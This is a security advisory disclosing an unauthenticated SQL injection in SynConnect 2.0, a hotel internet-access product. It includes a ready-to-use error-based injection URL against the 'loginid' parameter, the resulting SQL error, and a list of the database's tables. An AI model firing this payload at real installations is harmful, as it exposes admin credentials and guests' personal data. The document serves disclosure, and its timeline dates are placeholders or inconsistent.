Title:
====

SynConnect - SQL Injection vulnerability


Credit:
======

Name: Bhadresh Patel
Company/affiliation: Cyberoam Technologies Private Limited
Website: www.cyberoam.com


CVE:
=====


Date:
====

01-03-2013

CRD:
====

CRD-2013-01

Vendor:
======

Synchroweb Technology is a provider of application software, hardware and other 
innovative enterprise technology. They strive in development, deployment, and 
management of Linux and open source solutions for Internet infrastructure 
ranging from embedded devices to secure data center facilities throughout the 
Asia market.

Product:
=======

SynConnect is a PMS (Property management software) product of Synchroweb which 
provides High Speed Internet Access to Hotels, Airport lounge, Resort, 
conference centers, universities, etc.

Product link: http://www.synchroweb.com/prod_syn.php

Abstract:
=======

Cyberoam Vulnerability Research Team discovered a SQL Injection Vulnerability 
on the SynConnect is a PMS software.
Report-Timeline:
============
21-03-2013: Vendor notification
00-00-2013: Vendor Response/Feedback
00-00-2013: Vendor Fix/Patch
00-00-2013: Public or Non-Public Disclosure


Affected Version:
=============

Ver 2.0

Exploitation-Technique:
===================

Remote

Severity Rating:
===================

7.3 (AV:N/AC:L/Au:N/C:C/I:C/A:C/E:F/RL:U/RC:C/CDP:MH/TD:M/CR:H/IR:H/AR:H)

Details:
=======

There is an error-based SQL injection vulnerability in SysConnect's index.php 
which allows attacker to steal full database including Master admin credentials 
and Guest's personal confidential information.

Further, login to admin portal gives attacker an overall control of guest 
accounts. Attacker can impersonate his identity by stealing guest's login 
credential.

SynConnect also offers easy payment internet access via prepaid packages or 
payment gateway from internet such as World Pay but, I have not checked 
vulnerability coverage in this area.

Vulnerable Module(s):

index.php?func=logoff&loginid=

Vulnerable Parameter:

loginid

--------------SQL Error Logs------------

Fatal error: SQL-statement failed: select * from 
user_master,group_master,package_master where user_master.userid='1011' AND 
(SELECT 8975 FROM(SELECT COUNT(*),CONCAT((SELECT MID((IFNULL(CAST(schema_name 
AS CHAR),0x20)),1,50) FROM INFORMATION_SCHEMA.SCHEMATA LIMIT 
6,1),FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) 
AND 'bhdresh'='bhdresh' and user_master.groupid=group_master.groupid and 
user_master.pkgid=package_master.pkgid
MySQL said Duplicate entry 'synconnect1' for key 'group_key' (1062).

----------------------------------------------

Caveats / Prerequisites:
======================

No Prerequisites

Proof Of Concept:
================

Vulnerability can be exploited by remote attacker without authentication. For 
demonstration or reproduce ...

http://localhost/index.php?func=logoff&loginid=1011' AND (SELECT 8975 
FROM(SELECT COUNT(*),CONCAT((SELECT MID((IFNULL(CAST(schema_name AS 
CHAR),0x20)),1,50) FROM INFORMATION_SCHEMA.SCHEMATA LIMIT 
6,1),FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) 
AND 'bhdresh'='bhdresh


--- SQL Access Log ---

http://localhost/index.php?func=logoff&loginid=1011' AND (SELECT 8975 
FROM(SELECT COUNT(*),CONCAT((SELECT MID((IFNULL(CAST(schema_name AS 
CHAR),0x20)),1,50) FROM INFORMATION_SCHEMA.SCHEMATA LIMIT 
6,1),FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) 
AND 'bhdresh'='bhdresh

Database synconnect1 has following list of tables,

[43 tables]

+---------------------+

| 1stlogin |

| accesslevel_detail |

| accesslevel_master |

| admin_master |

| adminlog |

| bandwidth_master |

| bandwidth_qos |

| bandwidth_tc_master |

| cms_users |

| device_detail |

| device_master |

| dhcp |

| fwblock |

| group_master |

| group_package |

| group_useramr |

| invoice_master |

| last_date |

| layer7_master |

| mac_master |

| module_detail |

| module_master |

| network |

| nms |

| nms_log |

| package_check |

| package_master |

| pms_host |

| pms_link_handshake |

| pms_payment |

| pms_vip |

| ports |

| prepaid_id |

| protos |

| proxy_master |

| publicip_master |

| qos_master |

| sessions |

| tracking_prepaid |

| usage_master |

| user_actavg |

| user_browserinfo |

| user_connect |

+-------------------


Risk:
=====

The security risk of the remote sql injection vulnerability is estimated as 
critical.

Creditee:
=======

Bhadresh Patel - Cyberoam Security Research Team

Disclaimer:
===========

The information provided in this advisory is provided as it is without any 
warranty. Any modified copy or reproduction, including partially usages, of 
this file requires authorization from Cyberoam Vulnerability Research Team. 
Permission to electronically redistribute this alert in its unmodified form is 
granted. All other rights, including the use of other media, are reserved by 
Cyberoam Vulnerability Research Team.


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